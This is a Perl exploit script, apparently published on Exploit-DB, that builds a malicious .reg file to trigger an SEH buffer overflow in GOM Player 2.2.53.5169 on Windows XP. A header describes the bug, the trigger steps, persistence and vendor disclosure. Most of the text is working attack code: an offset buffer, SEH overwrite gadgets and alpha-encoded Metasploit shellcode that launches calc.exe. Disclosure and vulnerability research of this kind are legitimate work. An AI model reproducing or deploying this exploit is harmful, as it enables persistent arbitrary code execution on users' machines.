#!/usr/bin/perl
######################################################################################################
# Exploit Title: GOM Player 2.2.53.5169 - SEH Buffer Overflow (.reg)
# Date: 11-26-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software/Version: GOM Player 2.2.53.5169
# Vendor Site: http://player.gomlab.com/eng/
# Vulnerable Software Link: http://www.oldapps.com/gom_player.php?old_gom_player=12874
# Tested On: Windows XP SP3 (Only crashes Win 7 b/c no suitable seh modules or jmp/call regs found)
# Details:
# -- GOM Player uses registry keys to set various attributes including the equalizer presets
# -- These registry values can be found here: HKEY_CURRENT_USER\Software\GRETECH\GomPlayer\OPTION
# -- It loads these values into memory without proper bounds checks which enables the exploit
# -- Modification of these registry values requires binary input (a line feed).
# -- To accomplish this via the reg file I used 2 char hex values separated by a comma.
# -- For example, instead of \x41\x41 it's 41,41. This also has an added benefit of avoiding the
# -- Unicode encoding that occurs if ascii input is used
# To Exploit:
# -- 1) Run created .reg file and 2) Open GOM Player
# -- Note: GOM Player must have been run at least once on the target machine before
# -- running the .reg file or the necessary registry entries will not exist
# -- Once the registry has been modified, this exploit will be persistent and execute every time
# -- GOM player is run
# Timeline:
# -- 27 Nov: Vuln discovered, vendor contacted; vuln acknowledged, fix planned for next release
# -- 28 Nov: Contacted Mitre for CVE coord; informed that despite past precedent (CVE 2013-6356), a
# -- vuln that requires a user to open/run a file such as .reg should not be assigned a CVE
# -- 09 Dec: Vendor goes live w/ updated version containing fix; public disclosure
#######################################################################################################
# Exploit-DB Note:
# This PoC may need some adjustments
#
my
$buffsize
= 5000;
# sets buffer size for consistent sized payload
# construct the required start and end of the reg file
my
$regfilestart
=
"Windows Registry Editor Version 5.00\n\n"
;
$regfilestart
=
$regfilestart
.
"[HKEY_CURRENT_USER\\Software\\GRETECH\\GomPlayer\\OPTION]\n"
;
$regfilestart
=
$regfilestart
.
"\"_EQPRESET009\"="
;
# I used preset 9 arbitrarily; any eqpreset will cause a bof condition
my
$regfileend
=
"0a,"
.
"0,0,0,0,0,0"
;
# the line feed (0a) is required to trigger the exploit
# the additional 0s represent dummy/placeholder equalizer settings
my
$junk
=
"41,"
x 568;
# offset to next seh at 568
my
$nseh
=
"eb,14,90,90,"
;
# overwrite next seh with jmp instruction (8 bytes)
my
$seh
=
"44,26,c8,74,"
;
# 0x74c82644 : pop ebx pop ebp ret
# ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.2.5406.0 (C:\WINDOWS\system32\OLEACC.dll)
my
$nops
=
"90,"
x 50;
# Calc.exe payload [size 461]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/alpha_mixed -c 1 -b '\x00\x0a\x0d\xff'
my
$shell
=
"db,cd,d9,74,24,f4,5f,57,59,49,49,49,49,49,"
.
"49,49,49,49,43,43,43,43,43,43,43,37,51,5a,"
.
"6a,41,58,50,30,41,30,41,6b,41,41,51,32,41,"
.
"42,32,42,42,30,42,42,41,42,58,50,38,41,42,"
.
"75,4a,49,69,6c,6b,58,4f,79,55,50,75,50,35,"
.
"50,33,50,4b,39,49,75,66,51,4a,72,52,44,6e,"
.
"6b,70,52,44,70,6e,6b,42,72,44,4c,4c,4b,63,"
.
"62,64,54,6e,6b,42,52,54,68,34,4f,6c,77,63,"
.
"7a,35,76,65,61,4b,4f,74,71,4f,30,6c,6c,65,"
.
"6c,71,71,53,4c,46,62,76,4c,37,50,49,51,68,"
.
"4f,76,6d,57,71,6b,77,7a,42,7a,50,32,72,42,"
.
"77,4c,4b,42,72,44,50,6c,4b,31,52,37,4c,55,"
.
"51,7a,70,4c,4b,33,70,62,58,4f,75,6b,70,51,"
.
"64,52,6a,77,71,78,50,42,70,4c,4b,52,68,47,"
.
"68,4c,4b,46,38,37,50,77,71,5a,73,58,63,55,"
.
"6c,53,79,4e,6b,66,54,4c,4b,73,31,38,56,75,"
.
"61,59,6f,36,51,59,50,4c,6c,6a,61,4a,6f,34,"
.
"4d,46,61,79,57,77,48,49,70,31,65,4b,44,65,"
.
"53,43,4d,6b,48,65,6b,53,4d,64,64,53,45,6d,"
.
"32,73,68,6e,6b,70,58,67,54,67,71,39,43,62,"
.
"46,6c,4b,76,6c,42,6b,4e,6b,62,78,45,4c,37,"
.
"71,38,53,4c,4b,46,64,4c,4b,45,51,48,50,4c,"
.
"49,50,44,71,34,47,54,71,4b,31,4b,63,51,31,"
.
"49,63,6a,70,51,69,6f,39,70,46,38,73,6f,53,"
.
"6a,4e,6b,56,72,58,6b,4b,36,31,4d,42,4a,55,"
.
"51,4c,4d,4d,55,38,39,65,50,65,50,65,50,56,"
.
"30,62,48,75,61,4c,4b,62,4f,4f,77,79,6f,49,"
.
"45,6f,4b,5a,50,6c,75,4d,72,36,36,42,48,59,"
.
"36,4a,35,4d,6d,6d,4d,49,6f,49,45,45,6c,45,"
.
"56,43,4c,76,6a,4f,70,39,6b,4b,50,42,55,36,"
.
"65,4d,6b,51,57,44,53,62,52,50,6f,62,4a,77,"
.
"70,56,33,6b,4f,4a,75,35,33,35,31,72,4c,33,"
.
"53,74,6e,32,45,43,48,75,35,37,70,41,41,"
;
my
$sploit
=
$junk
.
$nseh
.
$seh
.
$nops
.
$shell
;
# assemble the exploit portion of the buffer
my
$fill
=
"43,"
x (
$buffsize
- (
length
(
$sploit
))/3);
# fill remainder of buffer with junk; divide by 3 to compensate for hex format
my
$buffer
=
$sploit
.
$fill
;
# assemble the final buffer
my
$regfile
=
$regfilestart
.
"hex: "
.
$buffer
.
$regfileend
;
# construct the reg file with hex payload to generate binary registry entry
# write the exploit buffer to file
my
$file
=
"gom_seh_bof.reg"
;
open
(FILE,
">$file"
);
print
FILE
$regfile
;
close
(FILE);
print
"Exploit file ["
.
$file
.
"] created\n"
;
print
"Buffer size: "
.
length
(
$buffer
)/3 .
"\n"
;